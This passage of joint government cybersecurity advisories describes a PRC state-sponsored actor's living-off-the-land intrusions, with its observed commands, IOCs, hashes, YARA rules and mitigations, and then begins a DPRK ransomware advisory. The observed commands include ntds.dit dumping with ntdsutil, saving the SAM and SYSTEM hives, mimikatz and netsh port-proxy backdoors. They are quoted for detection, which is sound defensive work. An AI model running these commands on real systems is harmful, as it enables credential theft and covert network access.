accounts, and/or join +unauthorized systems to the domain. If this occurs, defenders should follow guidance +for removing malicious actors from victim networks, such as CISA's Eviction Guidance +for Network Affected by the SolarWinds and Active Directory/M365 Compromise. +In addition to the above TTPs used by the actor to copy the ntds.dit file, the following +tools could be used by an actor to obtain the same information: +Secretsdump.py + Note: This script is a component of Impacket, which the actor has been +known to use +Invoke-NinjaCopy (PowerShell) +DSInternals (PowerShell) +FgDump +Metasploit +Best practices for securing ntds.dit include hardening Domain Controllers and +monitoring event logs for ntdsutil.exe and similar process creations. Additionally, any +use of administrator privileges should be audited and validated to confirm the legitimacy +of executed commands. +PortProxy +The actor has used the following commands to enable port forwarding [T1090] on the +host: +"cmd.exe /c "netsh interface portproxy add v4tov4 +listenaddress=0.0.0.0 listenport=9999 +connectaddress= +connectport=8443 protocol=tcp"" +TLP:CLEAR +U/OO/156893-23 | PP-23-1143 | JUN 2023 Ver. 1.1 +PRC State-Sponsored Cyber Actor Living off the Land to Evade Detection +TLP:CLEAR +"cmd.exe /c netsh interface portproxy add v4tov4 +listenport=50100 listenaddress=0.0.0.0 connectport=1433 +connectaddress=" +where is replaced with an IPv4 address +internal to the network, omitting the < > +Netsh is a built-in Windows command line scripting utility that can display or modify the +network settings of a host, including the Windows Firewall. The portproxy add command +is used to create a host:port proxy that will forward incoming connections on the +provided listenaddress and listenport to the connectaddress and connectport. +Administrative privileges are required to execute the portproxy command. Each +portproxy command above will create a registry key in the +HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp\ path. +Defenders should look for the presences of keys in this path and investigate any +anomalous entries. +Note: Using port proxies is not common for legitimate system administration since they +can constitute a backdoor into the network that bypasses firewall policies. +Administrators should limit port proxy usage within environments and only enable them +for the period of time in which they are required. +Defenders should also use unusual IP addresses and ports in the command lines or +registry entries to identify other hosts that are potentially included in actor actions. All +hosts on the network should be examined for new and unusual firewall and port +forwarding rules, as well as IP addresses and ports specified by the actor. If network +traffic or logging is available, defenders should attempt to identify what traffic was +forwarded though the port proxies to aid in the hunt operation. As previously mentioned, +identifying the associated user account that made the networking changes can also aid +in the hunt operation. +Firewall rule additions and changes can be viewed in Windows Event Viewer by +navigating to: Applications and Service Logs | Microsoft | Windows | +Windows Firewall With Advanced Security | Firewall. +In addition to host-level changes, defenders should review perimeter firewall +configurations for unauthorized changes and/or entries that may permit external +TLP:CLEAR +U/OO/156893-23 | PP-23-1143 | JUN 2023 Ver. 1.1 +PRC State-Sponsored Cyber Actor Living off the Land to Evade Detection +TLP:CLEAR +connections to internal hosts. The actor is known to target perimeter devices in their +operations. Firewall logs should be reviewed for any connections to systems on the +ports listed in any portproxy commands discovered. +PowerShell +The actor has used the following PowerShell [T1059.001] command to identify +successful logons to the host [T1033]: +Get-EventLog security -instanceid 4624 +Note: Event ID 4624 is logged when a user successfully logs on to a host and +contains useful information such as the logon type (e.g., interactive or +networking), associated user and computer account names, and the logon time. +Event ID 4624 entries can be viewed in Windows Event Viewer by navigating to: +Windows Logs | Security. PowerShell logs can be viewed in Event Viewer: +Applications and Service Logs | Windows PowerShell. +This command identifies what user account they are currently leveraging to access the +network, identify other users logged on to the host, or identify how their actions are +being logged. If the actor is using a password spray technique [T1110.003], there may +be several failed logon (Event ID 4625) events for several different user accounts, +followed by one or more successful logons (Event ID 4624) within a short period of time. +This period may vary by actor but can range from a few seconds to a few minutes. +If the actor is using brute force password attempts [T1110] against a single user +account, there may be several Event ID 4625 entries for that account, followed by a +successful logon Event ID 4624. Defenders should also look for abnormal account +activity, such as logons outside of normal working hours and impossible time-anddistance logons (e.g., a user logging on from two geographically separated locations at +the same time). +Impacket +The actor regularly employs the use of Impacket +s wmiexec, which redirects output to a +file within the victim host +s ADMIN$ share (C:\Windows\) containing an epoch +timestamp in its name. The following is an example of the + command being +executed by wmiexec.py: +TLP:CLEAR +U/OO/156893-23 | PP-23-1143 | JUN 2023 Ver. 1.1 +PRC State-Sponsored Cyber Actor Living off the Land to Evade Detection +TLP:CLEAR +cmd.exe /Q /c dir 1> +\\127.0.0.1\ADMIN$\__1684956600.123456 2>&1 +Note: Discovery of an entry similar to the example above in the Windows Event +Log and/or a file with a name in a similar format may be evidence of malicious +activity and should be investigated further. In the event that only a filename is +discovered, the epoch timestamp within the filename reflects the time of +execution by default and can be used to help scope threat hunting activities. +Enumeration of the environment +The following commands were used by the actor to enumerate the network topology +[T1016], the active directory structure [T1069.002], and other information about the +target environment [T1069.001], [T1082]: +arp -a +curl www.ip-api.com +dnscmd . /enumrecords /zone {REDACTED} +dnscmd . /enumzones +dnscmd /enumrecords {REDACTED} . /additional +ipconfig /all +ldifde.exe -f c:\windows\temp\.txt -p subtree +net localgroup administrators +net group /dom +net group "Domain Admins" /dom +netsh interface firewall show all +netsh interface portproxy show all +netsh interface portproxy show v4tov4 +netsh firewall show all +netsh portproxy show v4tov4 +netstat -ano +reg query hklm\software\ +systeminfo +tasklist /v +whoami +wmic volume list brief +wmic service brief +TLP:CLEAR +U/OO/156893-23 | PP-23-1143 | JUN 2023 Ver. 1.1 +PRC State-Sponsored Cyber Actor Living off the Land to Evade Detection +TLP:CLEAR +wmic product list brief +wmic baseboard list full +wevtutil qe security /rd:true /f:text +/q:*[System[(EventID=4624) and +TimeCreated[@SystemTime>='{REDACTED}']] and +EventData[Data='{REDACTED}']] +Additional credential theft +The actor also used the following commands to identify additional opportunities for +obtaining credentials in the environment [T1555], [T1003]: +dir C:\Users\{REDACTED}\.ssh\known_hosts +C:\users\{REDACTED}\appdata\roaming\Mozilla\firefox\profile +mimikatz.exe +reg query hklm\software\OpenSSH +reg query hklm\software\OpenSSH\Agent +reg query hklm\software\realvnc +reg query hklm\software\realvnc\vncserver +reg query hklm\software\realvnc\Allusers +reg query hklm\software\realvnc\Allusers\vncserver +reg query hkcu\software\{REDACTED}\putty\session +reg save hklm\sam ss.dat +reg save hklm\system sy.dat +Additional commands +The actor executed the following additional commands: +7z.exe a -p {REDACTED} c:\windows\temp\{REDACTED}.7z +C:\Windows\system32\pcwrun.exe +C:\Users\Administrator\Desktop\Win.exe +C:\Windows\System32\cmdbak.exe /c ping -n 1 127.0.0.1 > +C:\Windows\temp\putty.log +C:\Windows\Temp\tmp.log +"cmd.exe" /c dir \\127.0.0.1\C$ /od +"cmd.exe" /c ping +n 1 +"cmd.exe" /c wmic /user: /password: +process call create "net stop \"\" > +C:\Windows\Temp\tmp.log" +TLP:CLEAR +U/OO/156893-23 | PP-23-1143 | JUN 2023 Ver. 1.1 +PRC State-Sponsored Cyber Actor Living off the Land to Evade Detection +TLP:CLEAR +cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\__ +2>&1 +net use \\127.0.0.1\IPC$ /y /d +powershell start-process -filepath +c:\windows\temp\.bat -windowstyle Hidden +rar.exe a +{REDACTED} c:\Windows\temp\{REDACTED} +D:\{REDACTED}\ +wmic /node:{REDACTED} /user:{REDACTED} /password:{REDACTED} +cmd /c whoami +xcopy C:\windows\temp\hp d:\{REDACTED} +Mitigations +The authoring agencies recommend organizations implement the mitigations below to +improve your organization +s cybersecurity posture on the basis of the threat actor +activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals +(CPGs) developed by CISA and the National Institute of Standards and Technology +(NIST). The CPGs provide a minimum set of practices and protections that CISA and +NIST recommend all organizations implement. CISA and NIST based the CPGs on +existing cybersecurity Frameworks and guidance to protect against the most common +and impactful threats and TTPs. Visit CISA +s Cross-Sector Cybersecurity Performance +Goals for more information on the CPGs, including additional recommended baseline +protections. +Defenders should harden domain controllers and monitor event logs [2.T] for +ntdsutil.exe and similar process creations. Additionally, any use of administrator +privileges should be audited and validated to confirm the legitimacy of executed +commands. +Administrators should limit port proxy usage within environments and only enable +them for the period of time in which they are required [2.X]. +Defenders should investigate unusual IP addresses and ports in command lines, +registry entries, and firewall logs to identify other hosts that are potentially +involved in actor actions. +TLP:CLEAR +U/OO/156893-23 | PP-23-1143 | JUN 2023 Ver. 1.1 +PRC State-Sponsored Cyber Actor Living off the Land to Evade Detection +TLP:CLEAR +In addition to host-level changes, defenders should review perimeter firewall +configurations for unauthorized changes and/or entries that may permit external +connections to internal hosts. +Defenders should also look for abnormal account activity, such as logons outside +of normal working hours and impossible time-and-distance logons (e.g., a user +logging on from two geographically separated locations at the same time). +Defenders should forward log files to a hardened centralized logging server, +preferably on a segmented network [2.F]. +Logging recommendations +To be able to detect the activity described in this CSA, defenders should set the audit +policy for Windows security logs to include +audit process creation + and +include +command line in process creation events + in addition to accessing the logs. +Otherwise, the default logging configurations may not contain the necessary +information. +Enabling these options will create Event ID 4688 entries in the Windows Security log to +view command line processes. Given the cost and difficulty of logging and analyzing +this kind of activity, if an organization must limit the requirements, they should focus on +enabling this kind of logging on systems that are externally facing or perform +authentication or authorization, especially including domain controllers. +To hunt for the malicious WMI and PowerShell activity, defenders should also log WMI +and PowerShell events. By default, WMI Tracing and deep PowerShell logging are not +enabled, but they can be enabled by following the configuration instructions linked in the +References section. +The actor takes measures to hide their tracks, such as clearing logs [T1070.001]. To +ensure log integrity and availability, defenders should forward log files to a hardened +centralized logging server, preferably on a segmented network. Such an architecture +makes it harder for an actor to cover their tracks as evidence of their actions will be +captured in multiple locations. +Defenders should also monitor logs for Event ID 1102, which is generated when the +audit log is cleared. All Event ID 1102 entries should be investigated as logs are +TLP:CLEAR +U/OO/156893-23 | PP-23-1143 | JUN 2023 Ver. 1.1 +PRC State-Sponsored Cyber Actor Living off the Land to Evade Detection +TLP:CLEAR +generally not cleared and this is a known actor tactic to cover their tracks. Even if an +event log is cleared on a host, if the logs are also stored on a logging server, the copy of +the log will be preserved. +This activity is often linked to malicious exploitation of edge devices and network +management devices. Defenders should enable logging on their edge devices, to +include system logs, to be able to identify potential exploitation and lateral movement. +They should also enable network-level logging, such as sysmon, webserver, +middleware, and network device logs. +Indicators of compromise (IOCs) summary +TTPs +Exploiting vulnerabilities [T1190] in widely used software including, but not limited + CVE-2021-40539 +ManageEngine ADSelfService Plus. + https://www.cisa.gov/uscert/ncas/alerts/aa21-259a. + CVE-2021-27860 +FatPipe WARP, IPVPN, MPVPN. + https://www.ic3.gov/Media/News/2021/211117-2.pdf. +Using webshells for persistence and exfiltration [T1505.003], with at least some +of the webshells derived from the Awen webshell. +Using compromised Small-Office Home-Office (SOHO) devices (e.g. routers) to +obfuscate the source of the activity [T1090.002]. + Most common types include ASUS, Cisco RV, Draytek Vigor, FatPipe +IPVPN/MPVPN/WARP, Fortinet Fortigate, Netgear Prosafe, and Zyxel +USG devices. + Common CVEs for these devices and mitigation guidance can be found in +the joint Cybersecurity Advisory, +Top CVEs Actively Exploited by +People +s Republic of China State-Sponsored Cyber Actors. +Using living off the land tools for discovery, lateral movement, and collection +activities, to include: + certutil + dnscmd + ldifde + makecab + net user/group/use + netsh + nltest +TLP:CLEAR +U/OO/156893-23 | PP-23-1143 | JUN 2023 Ver. 1.1 +PRC State-Sponsored Cyber Actor Living off the Land to Evade Detection +TLP:CLEAR + ntdsutil + PowerShell + req query/save + systeminfo + tasklist + wevtutil + wmic + xcopy +Selective clearing of Windows Event Logs, system logs, and other technical +artifacts to remove evidence of their intrusion activity [T1070]. +Using open source +hacktools + tools, such as: + Fast Reverse Proxy (frp) + Probably derived from the publicly-available fatedier and +EarthWorm variants. + Impacket + To detect Impacket usage, see the joint Cybersecurity Advisory: +"Impacket and Exfiltration Tool Used to Steal Sensitive Information +from Defense Industrial Base Organization + Mimikatz.exe + Remote administration tools + Defenders should consult the joint Cybersecurity Advisory: +"Protecting Against Malicious Use of Remote Monitoring and +Management Software". +Command execution +File names and directory paths used in these commands are only meant to serve as +examples. Actual names and paths may differ depending on environment and activity, +so defenders should account for variants when performing queries. +Note: Many of the commands are derivatives of common system administration +commands that could generate false positives when used alone without additional +indicators. +7z.exe a -p {REDACTED} c:\windows\temp\{REDACTED}.7z +c:\windows\temp\* +"C:\pstools\psexec.exe" \\{REDACTED} -s cmd /c "cmd.exe /c +"netsh interface portproxy delete v4tov4 +listenaddress=0.0.0.0 listenport=9999"" +C:\Windows\system32\pcwrun.exe +C:\Users\Administrator\Desktop\Win.exe +TLP:CLEAR +U/OO/156893-23 | PP-23-1143 | JUN 2023 Ver. 1.1 +PRC State-Sponsored Cyber Actor Living off the Land to Evade Detection +TLP:CLEAR +cmd.exe /C dir /S \\{REDACTED}\c$\Users\{REDACTED} >> +c:\windows\temp\{REDACTED}.tmp +"cmd.exe" /c wmic process call create "cmd.exe /c mkdir +C:\windows\Temp\McAfee_Logs & ntdsutil \"ac i ntds\" ifm +\"create full C:\Windows\Temp\McAfee_Logs\" +cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\__ +2>&1 +cmd.exe /Q /c net group "domain admins" /dom +1>\\127.0.0.1\ADMIN$\__ 2>&1 +cmd.exe /Q /c wmic process call create "cmd.exe /c mkdir +C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create +full C:\Windows\Temp\tmp\" 1> +\\127.0.0.1\ADMIN$\ 2>&1 +D:\{REDACTED}\xcopy C:\windows\temp\hp d:\{REDACTED} +Get-EventLog security -instanceid 4624 +ldifde.exe -f c:\windows\temp\cisco_up.txt -p subtree +makecab ..\backup\210829-020000.zip +..\webapps\adssp\html\Lock.lic +move "\\\c$\users\public\Appfile\registry\SYSTEM" +..\backup\210829-020000.zip +netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 +listenport=9999 connectaddress={REDACTED} connectport=8443 +protocol=tcp +netsh interface portproxy delete v4tov4 +listenaddress=0.0.0.0 listenport=9999 +Rar.exe a +{REDACTED} c:\Windows\temp\DMBC2C61.tmp +start-process -filepath c:\windows\temp\.bat windowstyle hidden 1 +Note: The batch file in question (.bat) could use any name, and no +discernable pattern has been determined at this time. +wmic process call create "cmd.exe /c mkdir +C:\users\public\Appfile & ntdsutil \"ac i ntds\" ifm +\"create full C:\users\public\Appfile\" q q +TLP:CLEAR +U/OO/156893-23 | PP-23-1143 | JUN 2023 Ver. 1.1 +PRC State-Sponsored Cyber Actor Living off the Land to Evade Detection +TLP:CLEAR +wmic process call create "cmd.exe /c mkdir +C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create +full C:\Windows\Temp\tmp\" +wmic process call create "cmd.exe /c ntdsutil \"ac i ntds\" +ifm \"create full C:\Windows\Temp\Pro" +wmic process call create "ntdsutil \"ac i ntds\" ifm +\"create full C:\Windows\Temp\" +Command line patterns +Certain patterns in commands (with asterisks for wildcards) can be used to identify +potentially malicious commands: +cmd.exe /C dir /S \\* >> * +cmd.exe /Q /c * 1> \\127.0.0.1\ADMIN$\__*.*>&1 +powershell start-process -filepath c:\windows\temp\*.exe windowstyle hidden +File paths +The most common paths where files and executables used by the actor have been +found include: +C:\Users\Public\Appfile (including subdirectories) +C:\Perflogs (including subdirectories) +C:\Windows\Temp (including subdirectories) +File names +The file names the actor has previously used for such things as malware, scripts, and +tools include: +backup.bat +billagent.exe +billaudit.exe +cisco_up.exe +cl64.exe +nc.exe +rar.exe +SMSvcService.exe +update.bat +update.exe +vm3dservice.exe +watchdogd.exe +Win.exe +WmiPrvSE.exe +WmiPreSV.exe +In addition to the file names and paths above, malicious files names, believed to be +randomly created, in the following format have also been discovered: +C:\Windows\[a-zA-Z]{8}.exe +SHA-256 file hashes +f4dd44bc19c19056794d29151a5b1bb76afd502388622e24c863a8494af147dd +ef09b8ff86c276e9b475a6ae6b54f08ed77e09e169f7fc0872eb1d427ee27d31 +d6ebde42457fe4b2a927ce53fc36f465f0000da931cfab9b79a36083e914ceca +TLP:CLEAR +U/OO/156893-23 | PP-23-1143 | JUN 2023 Ver. 1.1 +PRC State-Sponsored Cyber Actor Living off the Land to Evade Detection +TLP:CLEAR +472ccfb865c81704562ea95870f60c08ef00bcd2ca1d7f09352398c05be5d05d +66a19f7d2547a8a85cee7a62d0b6114fd31afdee090bd43f36b89470238393d7 +3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71 +41e5181b9553bbe33d91ee204fe1d2ca321ac123f9147bb475c0ed32f9488597 +c7fee7a3ffaf0732f42d89c4399cbff219459ae04a81fc6eff7050d53bd69b99 +3a9d8bb85fbcfe92bae79d5ab18e4bca9eaf36cea70086e8d1ab85336c83945f +fe95a382b4f879830e2666473d662a24b34fccf34b6b3505ee1b62b32adafa15 +ee8df354503a56c62719656fae71b3502acf9f87951c55ffd955feec90a11484 +User-agent +In some cases, the following user-agent string (including the extra spacing) was +identified performing reconnaissance activities by this actor: +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:68.0) +Gecko/20100101 Firefox/68.0 +Note: The spacing between + and +Gecko + is 3 tabs followed by 4 spaces. +Yara rules +rule ShellJSP { +strings: +$s1 = "decrypt(fpath)" +$s2 = "decrypt(fcontext)" +$s3 = "decrypt(commandEnc)" +$s4 = "upload failed!" +$s5 = "aes.encrypt(allStr)" +$s6 = "newid" +condition: +filesize < 50KB and 4 of them +TLP:CLEAR +U/OO/156893-23 | PP-23-1143 | JUN 2023 Ver. 1.1 +PRC State-Sponsored Cyber Actor Living off the Land to Evade Detection +TLP:CLEAR +rule EncryptJSP { +strings: +$s1 = "AEScrypt" +$s2 = "AES/CBC/PKCS5Padding" +$s3 = "SecretKeySpec" +$s4 = "FileOutputStream" +$s5 = "getParameter" +$s6 = "new ProcessBuilder" +$s7 = "new BufferedReader" +$s8 = "readLine()" +condition: +filesize < 50KB and 6 of them +rule CustomFRPClient { +meta: +description= +Identify instances of the actor's custom FRP tool based +on unique strings chosen by the actor and included in the tool +strings: +$s1 = "%!PS-Adobe-" nocase ascii wide +$s2 = "github.com/fatedier/frp/cmd/frpc" nocase ascii wide +$s3 = "github.com/fatedier/frp/cmd/frpc/sub.startService" nocase +ascii wide +$s4 = "MAGA2024!!!" nocase ascii wide +$s5 = "HTTP_PROXYHost: %s" nocase ascii wide +condition: +all of them +rule HACKTOOL_FRPClient { +meta: +description= +Identify instances of FRP tool (Note: This tool is +known to be used by multiple actors, so hits would not necessarily imply +activity by the specific actor described in this report) +strings: +$s1 = "%!PS-Adobe-" nocase ascii wide +$s2 = "github.com/fatedier/frp/cmd/frpc" nocase ascii wide +$s3 = "github.com/fatedier/frp/cmd/frpc/sub.startService" nocase +ascii wide +$s4 = "HTTP_PROXYHost: %s" nocase ascii wide +condition: +3 of them +TLP:CLEAR +U/OO/156893-23 | PP-23-1143 | JUN 2023 Ver. 1.1 +PRC State-Sponsored Cyber Actor Living off the Land to Evade Detection +TLP:CLEAR +References +Active Directory and domain controller hardening: + Best practices: https://learn.microsoft.com/en-us/windows-server/identity/adds/plan/security-best-practices/best-practices-for-securing-active-directory +CISA regional cyber threats: + PRC state-sponsored activity: China Cyber Threat Overview and Advisories +Microsoft Threat Intelligence blog: + Volt Typhoon activity: https://www.microsoft.com/enus/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-withliving-off-the-land-techniques/ +Ntdsutil.exe: + Overview: https://learn.microsoft.com/en-us/previous-versions/windows/itpro/windows-server-2012-r2-and-2012/cc753343(v=ws.11) +PowerShell: + Best practices: https://media.defense.gov/2022/Jun/22/2003021689/-1/1/0/CSI_KEEPING_POWERSHELL_SECURITY_MEASURES_TO_USE_AND_ +EMBRACE_20220622.PDF + Logging configuration: https://www.mandiant.com/resources/blog/greater-visibility +Windows command line process auditing: + Overview: https://learn.microsoft.com/en-us/windows-server/identity/adds/manage/component-updates/command-line-process-auditing +Windows Defender Firewall: + Best practices: https://learn.microsoft.com/en-us/windows/security/threatprotection/windows-firewall/best-practices-configuring + Logging configuration: https://learn.microsoft.com/en-us/windows/security/threatprotection/windows-firewall/configure-the-windows-firewall-log +Windows management instrumentation: + Events: https://learn.microsoft.com/en-us/windows/win32/wmisdk/tracing-wmiactivity#obtaining-wmi-events-through-event-viewer + Tracing activity: https://learn.microsoft.com/en-us/windows/win32/wmisdk/tracingwmi-activity +Windows password spraying: + Logging and playbook configuration: https://learn.microsoft.com/enus/security/compass/incident-response-playbook-password-spray +TLP:CLEAR +U/OO/156893-23 | PP-23-1143 | JUN 2023 Ver. 1.1 +PRC State-Sponsored Cyber Actor Living off the Land to Evade Detection +TLP:CLEAR +Acknowledgements +The NSA Cybersecurity Collaboration Center, along with the authoring agencies, +acknowledge Amazon Web Services (AWS) Security, Broadcom, Cisco Talos, Google's +Threat Analysis Group, Lumen Technologies, Mandiant, Microsoft Threat Intelligence +(MSTI), Palo Alto Networks, SecureWorks, SentinelOne, Trellix, and additional industry +partners for their collaboration on this advisory. +Disclaimer of endorsement +The information and opinions contained in this document are provided "as is" and without any warranties +or guarantees. Reference herein to any specific commercial products, process, or service by trade name, +trademark, manufacturer, or otherwise does not constitute or imply its endorsement, recommendation, or +favoring by the authoring agencies + governments, and this guidance shall not be used for advertising or +product endorsement purposes. +Trademark recognition +Active Directory +, Microsoft +, PowerShell +, and Windows + are registered trademarks of Microsoft +Corporation. MITRE + and ATT&CK + are registered trademarks of The MITRE Corporation. +Purpose +This document was developed in furtherance of the authoring agencies + cybersecurity missions, including +their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity +specifications and mitigations. This information may be shared broadly to reach all appropriate +stakeholders. +Contact +U.S. organizations: Urgently report any anomalous activity or incidents, including based upon technical +information associated with this Cybersecurity Advisory, to CISA at Report@cisa.dhs.gov or +cisa.gov/report or to the FBI via your local FBI field office listed at https://www.fbi.gov/contact-us/fieldoffices. +NSA Cybersecurity Report Questions and Feedback: CybersecurityReports@nsa.gov +NSA Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov +NSA Media Inquiries / Press Desk: 443-634-0721, MediaRelations@nsa.gov +Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report +cybersecurity incidents and to access alerts and advisories. +Canadian organizations: Report incidents by emailing CCCS at contact@cyber.gc.ca. +New Zealand organizations: Report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 +7654. +United Kingdom organizations: Report a significant cyber security incident at ncsc.gov.uk/report-anincident (monitored 24 hours) or, for urgent assistance, call 03000 200 973. +TLP:CLEAR +U/OO/156893-23 | PP-23-1143 | JUN 2023 Ver. 1.1 +PRC State-Sponsored Cyber Actor Living off the Land to Evade Detection +TLP:CLEAR +Appendix: MITRE ATT&CK Techniques +Table 2 captures all referenced threat actor tactics and techniques in this advisory. +Table 2: All referenced threat actor tactics and techniques +Initial Access +Technique Title +Exploit Public-facing Application +T1190 +Actor used public-facing applications to gain +initial access to systems; in this case, +Earthworm and PortProxy. +Execution +Windows Management +Instrumentation +T1047 +The actor executed WMIC commands to +create a copy of the SYSTEM registry. +Command and Scripting +Interpreter: PowerShell +T1059.001 +The actor used a PowerShell command to +identify successful logons to the host. +T1059.003 +The actor used this primary command +prompt to execute a query that collected +information about the storage devices on +the local host. +Command and Scripting +Interpreter: Windows Command +Shell +Persistence +Server Software Component: Web +Shell +T1505.003 +The actor used backdoor web servers with +web shells to establish persistence to +systems, including some of the webshells +being derived from Awen webshell. +Defense Evasion +Indicator Removal +T1070 +The actor selectively cleared Windows +Event Logs, system logs, and other +technical artifacts to remove evidence of +their intrusion activity. +Indicator Removal: Clear Windows +Event Logs +T1070.001 +The actor cleared system event logs to hide +activity of an intrusion. +Credential Access +OS Credential Dumping: NTDS +T1003.003 +The actor may try to exfiltrate the ntds.dit +file and the SYSTEM registry hive out of the +network to perform password cracking. +Brute Force +T1110 +The actor attempted to gain access to +accounts with multiple password attempts. +Brute Force: Password Spraying +OS Credential Dumping +T1110.003 +T1003 +The actor used commonly used passwords +against accounts to attempt to acquire valid +credentials. +The actor used additional commands to +obtain credentials in the environment. +TLP:CLEAR +U/OO/156893-23 | PP-23-1143 | JUN 2023 Ver. 1.1 +PRC State-Sponsored Cyber Actor Living off the Land to Evade Detection +TLP:CLEAR +Credentials from Password Stores +T1555 +The actor searched for common password +storage locations. +Discovery +System Information Discovery +T1082 +The actor executed commands to gather +information about local drives. +System Owner/User Discovery +T1033 +The actor gathered information about +successful logons to the host using a +PowerShell command. +Permission Groups Discovery: +Local Groups +T1069.001 +The actor attempt to find local system +groups and permission settings. +Permission Groups Discovery: +Doman Groups +T1069.002 +The actor used commands to enumerate +the active directory structure. +System Network Configuration +Discovery +T1016 +The actor used commands to enumerate +the network topology. +Command and Control +Proxy +T1090 +The actor used commands to enable port +forwarding on the host. +Proxy: External Proxy +T1090.002 +The actor used compromised SOHO +devices (e.g. routers) to obfuscate the +source of their activity. +TLP:CLEAR +U/OO/156893-23 | PP-23-1143 | JUN 2023 Ver. 1.1 +TLP:CLEAR +Cybersecurity Advisory +#StopRansomware: Ransomware Attacks on Critical +Infrastructure Fund DPRK Malicious Cyber Activities +Summary +Note: This Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort +to publish advisories for network defenders that detail various ransomware variants and +various ransomware threat actors. These #StopRansomware advisories detail +historically and recently observed tactics, techniques, and procedures (TTPs) and +indicators of compromise (IOCs) to help organizations protect against ransomware. Visit +stopransomware.gov to see all #StopRansomware advisories and to learn about other +ransomware threats and no-cost resources. +The United States National Security Agency (NSA), the U.S. Federal Bureau of +Investigation (FBI), the U.S. Cybersecurity and Infrastructure Security Agency (CISA), +the U.S. Department of Health and Human Services (HHS), the Republic of Korea +(ROK) National Intelligence Service (NIS), and the ROK Defense Security Agency +(DSA) (hereafter referred to as the +authoring agencies +) are issuing this joint +Cybersecurity Advisory (CSA) to highlight ongoing ransomware activity against +Healthcare and Public Health Sector organizations and other critical infrastructure +sector entities. +This CSA provides an overview of Democratic People +s Republic of Korea (DPRK) +state-sponsored ransomware and updates the July 6, 2022, joint CSA North Korean +State-Sponsored Cyber Actors Use Maui Ransomware to Target the Healthcare and +Public Health Sector. This advisory highlights TTPs and IOCs DPRK cyber actors used +to gain access to and conduct ransomware attacks against Healthcare and Public +Health (HPH) Sector organizations and other critical infrastructure sector entities, as +well as DPRK cyber actors + use of cryptocurrency to demand ransoms. +U/OO/114471-23 | PP-23-0183 | FEB 2023 Ver. 1.2 +TLP:CLEAR +TLP:CLEAR +Ransomware Attacks on Critical Infrastructure Fund DPRK Malicious Cyber Activities +The authoring agencies assess that an unspecified amount of revenue from these +cryptocurrency operations supports DPRK national-level priorities and objectives, +including cyber operations targeting the United States and South Korea governments +specific targets include Department of Defense Information Networks and Defense +Industrial Base member networks. The IOCs in this product should be useful to sectors +previously targeted by DPRK cyber operations (e.g., U.S. government, Department of +Defense, and Defense Industrial Base). The authoring agencies highly discourage +paying ransoms as doing so does not guarantee files and records will be recovered and +may pose sanctions risks. +For additional information on state-sponsored DPRK malicious cyber activity, see +CISA +s North Korea Cyber Threat Overview and Advisories webpage. +For a downloadable copy of IOCs, see AA23-040A.stix (STIX, 197 kb). +Technical Details +Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 12. See +MITRE ATT&CK for Enterprise for all referenced tactics and techniques. +This CSA is supplementary to previous reports on malicious cyber actor activities +involving DPRK ransomware campaigns +namely Maui and H0lyGh0st ransomware. +The authoring agencies are issuing this advisory to highlight additional observed TTPs +DPRK cyber actors are using to conduct ransomware attacks targeting South Korean +and U.S. healthcare systems. +Observable TTPs +The TTPs associated with DPRK ransomware attacks include those traditionally +observed in ransomware operations. Additionally, these TTPs span phases from +acquiring and purchasing infrastructure to concealing DPRK affiliation: +Acquire Infrastructure [T1583]. DPRK actors generate domains, personas, and +accounts; and identify cryptocurrency services to conduct their ransomware +operations. Actors procure infrastructure, IP addresses, and domains with +cryptocurrency generated through illicit cybercrime, such as ransomware and +cryptocurrency theft. +U/OO/114471-23 | PP-23-0183 | FEB 2023 Ver. 1.2 +TLP:CLEAR +TLP:CLEAR +Ransomware Attacks on Critical Infrastructure Fund DPRK Malicious Cyber Activities +Obfuscate Identity. DPRK actors purposely obfuscate their involvement by +operating with or under third-party foreign affiliate identities and use third-party +foreign intermediaries to receive ransom payments. +Purchase VPNs and VPSs [T1583.003]. DPRK cyber actors will also use virtual +private networks (VPNs) and virtual private servers (VPSs) or third-country IP +addresses to appear to be from innocuous locations instead of from DPRK. +Gain Access [TA0001]. Actors use various exploits of common vulnerabilities +and exposures (CVE) to gain access and escalate privileges on networks. +Recently observed CVEs that actors used to gain access include remote code +execution in the Apache Log4j software library (known as Log4Shell) and remote +code execution in unpatched SonicWall SMA 100 appliances [T1190 and T1133]. +Observed CVEs used include: +o CVE 2021-44228 +o CVE-2021-20038 +o CVE-2022-24990 +Actors also likely spread malicious code through Trojanized files for +X-Popup, + an open +source messenger commonly used by employees of small and medium hospitals in +South Korea [T1195]. +The actors spread malware by leveraging two domains: xpopup.pe[.]kr and +xpopup.com. xpopup.pe[.]kr is registered to IP address 115.68.95[.]128 and +xpopup[.]com is registered to IP address 119.205.197[.]111. Related file names and +hashes are listed in table 1. +Table 1: Malicious file names and hashes spread by xpopup domains +File Name +MD5 Hash +xpopup.rar +1f239db751ce9a374eb9f908c74a31c9 +X-PopUp.exe +6fb13b1b4b42bac05a2ba629f04e3d03 +X-PopUp.exe +cf8ba073db7f4023af2b13dd75565f3d +xpopup.exe +4e71d52fc39f89204a734b19db1330d3 +x-PopUp.exe +43d4994635f72852f719abb604c4a8a1 +xpopup.exe +5ae71e8440bf33b46554ce7a7f3de666 +U/OO/114471-23 | PP-23-0183 | FEB 2023 Ver. 1.2 +TLP:CLEAR +TLP:CLEAR +Ransomware Attacks on Critical Infrastructure Fund DPRK Malicious Cyber Activities +Move Laterally and Discovery [TA0007, TA0008]. After initial access, DPRK +cyber actors use staged payloads with customized malware to perform +reconnaissance activities, upload and download additional files and executables, +and execute shell commands [T1083, T1021]. The staged malware is also +responsible for collecting victim information and sending it to the remote host +controlled by the actors [TA0010]. +Employ Various 